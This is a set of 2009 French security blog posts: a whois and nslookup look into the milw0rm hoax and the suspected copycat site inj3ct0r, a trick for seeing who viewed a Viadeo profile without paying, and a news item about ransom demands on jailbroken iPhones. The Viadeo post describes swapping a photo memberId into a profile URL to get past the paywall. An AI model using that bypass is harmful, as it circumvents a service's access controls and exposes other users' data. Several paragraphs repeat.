Inj3ct0r est donc l'exemple meme du site qui pourrait tenter de voler "la clientèle de milw0rm" afin de gagner des 0day et de les revendre ou de les utiliser pour consistuer des botnet. Bref peut etre que l'avenir nous le dira.
D'ailleurs l'article évoqué précédement (Backtrack) nous annonce tenter de continuer sur la lancée de milw0rm et de créer une nouvelle base d'exploits. Les responsables sont déjà plus reconnus ... que va en penser la communauté ? :)
Sauf que cette annonce est en réalité un Hoax ! On a tout d'abord vu une annonce sur le twitter de str0ke signalant :
I'm not dead yet, just being trolled.De la sont sorties des rumeurs comme quoi son compte twitter avait été owned. Cependant encore ce soir une nouvelle annonce paraissant plus sérieuse nous annonce la bonne santé de str0ke
For those who don’t know, Milw0rm has been dormant in the past few weeks, for reasons which remain with str0ke (he is alive, healthy and well btw).Donc str0ke semble aller bien ! :)
On peut donc alors se demander mais pourquoi cet Hoax ?
str0ke est le mainteneur du très célèbre site Milw0rm. Celui ci récupère et publie depuis plusieurs années les exploits développés par tout hacker. Une confiance a été accordée à ce site par la communauté de par l'origine et le sérieux du travail fourni pour publié cela. Cependant ces exploits ont une grosse valeur et pourraient etre gardés secret et utilisés à des fins néfastes si récupérés.
Un exemple de site suspicieux qui pourrait profiter de l'arret de milw0rm est Inj3ct0r. Ce site paru lors du 1er arret de milw0rm est une copie conforme donnant la sensation d'etre un site de phishing.
L'objectif du site est identique à milw0rm sauf que nous ne connaissons pas ses propriétaires. En creusant un peu on obtient ceci :
(23:51:53 cloud ~) 0 $ whois inj3ct0r.com Whois Server Version 2.0 Domain names in the .com and .net domains can now be registered with many different competing registrars. Go to http://www.internic.net for detailed information. Domain Name: INJ3CT0R.COM Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D/B/A PUBLICDOMAINREGISTRY.COM Whois Server: whois.PublicDomainRegistry.com Referral URL: http://www.PublicDomainRegistry.com Name Server: NS.SECONDARY.NET.UA Name Server: WATEAM.ORG.UA Status: ok Updated Date: 20-jul-2009 Creation Date: 13-dec-2008 Expiration Date: 13-dec-2013 Domain Name: INJ3CT0R.COM Registrant: milw0rm now at inj3ct0r.com str0ke aka r00t0ro0t3r (e-c-h-0@mail.ru) Burdenko 43 inj3ct0r Adana,123000 TR Tel. +7.4953216549 Creation Date: 13-Dec-2008 Expiration Date: 13-Dec-2013 Domain servers in listed order: ns.secondary.net.ua wateam.org.ua Administrative Contact: inj3ct0r str0ke aka r00t0ro0t3r (e-c-h-0@mail.ru) Burdenko 43 inj3ct0r Adana,123000 TR Tel. +7.4953216549 Technical Contact: inj3ct0r str0ke aka r00t0ro0t3r (e-c-h-0@mail.ru) Burdenko 43 inj3ct0r Adana,123000 TR Tel. +7.4953216549 Billing Contact: inj3ct0r str0ke aka r00t0ro0t3r (e-c-h-0@mail.ru) Burdenko 43 inj3ct0r Adana,123000 TR Tel. +7.4953216549Ce site se fait donc passer pour appartenant à str0ke, ce qui n'est pas du tout le cas et nous indique paraitre russe (e-c-h-0@mail.ru).
De plus :
(00:32:15 cloud ~) 0 $ nslookup 77.120.101.8 Non-authoritative answer: 8.101.120.77.in-addr.arpa name = 8.101.120.77.colo.static.dc.volia.com. Authoritative answers can be found from: 101.120.77.in-addr.arpa nameserver = ns1.dc.volia.com. 101.120.77.in-addr.arpa nameserver = ns0.dc.volia.com. ns0.dc.volia.com internet address = 82.144.220.7 ns1.dc.volia.com internet address = 82.144.220.2Et ce Volia DC est un hébergeur Ukrainien, zone privilégié pour le cybercrime au vu des statistiques.
Inj3ct0r est donc l'exemple meme du site qui pourrait tenter de voler "la clientèle de milw0rm" afin de gagner des 0day et de les revendre ou de les utiliser pour consistuer des botnet. Bref peut etre que l'avenir nous le dira.
D'ailleurs l'article évoqué précédement (Backtrack) nous annonce tenter de continuer sur la lancée de milw0rm et de créer une nouvelle base d'exploits. Les responsables sont déjà plus reconnus ... que va en penser la communauté ? :)
03-11-2009 21:57:46
[Secu] Comment voir qui a regarde votre profil Viadeo sans payer ?
Ce matin en regardant mes mails, j'ai observé une chose étrange dans un mail Viadeo. Un lien depuis ce mail m'amenait
directement sur le profil de quelqu'un qui n'était pas dans mes contacts. Ce lien a un ID encoder en je ne sais quoi. Je me suis donc
penché
un peu la dessus et me suis dit qu'il y avait peut etre moyen de voir qui avait regardé notre profil sans s'abonner et donc
payer un abonnement Premium.
Je me suis donc loggé sur mon compte Viadeo et suis allé sur la page de "Ils ont consulté mon profil ?" sur la page http://www.viadeo.com/monreseau/consultation/. On constate la que tous les liens nous conduisent vers une page d'abonnement. J'ai donc décidé de regarder comment les photos étaient affichées et la j'ai constaté un lien du style :
Bon la seule restriction est que le contact doit avoir une photo mais c'est déjà mieux que rien ;)
Je me suis donc loggé sur mon compte Viadeo et suis allé sur la page de "Ils ont consulté mon profil ?" sur la page http://www.viadeo.com/monreseau/consultation/. On constate la que tous les liens nous conduisent vers une page d'abonnement. J'ai donc décidé de regarder comment les photos étaient affichées et la j'ai constaté un lien du style :
http://www.viadeo.com/servlet/photo?memberId=XXXXXXXXXXXXXXXX&ts=946681200000&type=0Et la au miracle on constate que la var memberId est de la meme forme que l'ID du lien de mon mail de la forme :
http://www.viadeo.com/recherche/profil/?memberId=XXXXXXXXXXXXXXXXIl suffit donc alors de récupérer le memberId de notre photo et de le mettre à la place du memberId du lien de notre mail et la on peut regarder tranquillement le profil de la personne qui a regardé notre profil sans payer :D
Bon la seule restriction est que le contact doit avoir une photo mais c'est déjà mieux que rien ;)
03-11-2009 21:35:43
[Secu] Rancon pour piratage d'Iphone
Mes 2 derniers articles étaient consacrés au fait que jailbreaker un iphone ouvre des brèches de sécurité si
un minimum de sécurisation
n'était pas appliqué par la suite et bien voila que benoit me passe un lien vers un magnifique article paru aujourd'hui expliquant
qu' un jeune pirate allemand s'amuse à prendre le controle d'iphone jailbreaké via SSH à travers internet et y installe un
programme
malveillant faisant apparaitre une popup expliquant que l'iphone de la personne n'est pas sécurisé et que pour faire disparaitre
ce
programme il allait falloir payer une sorte de rancon via Paypal !
Bon avec tout ca si vous n'avez pas compris qu'il faut sécuriser votre iphone, je ne sais plus ce qu'il vous faut :)
Pour l'article, c'est ici : http://blogs.zdnet.com/security/?p=4805&tag=nl.e539
Bon avec tout ca si vous n'avez pas compris qu'il faut sécuriser votre iphone, je ne sais plus ce qu'il vous faut :)
Pour l'article, c'est ici : http://blogs.zdnet.com/security/?p=4805&tag=nl.e539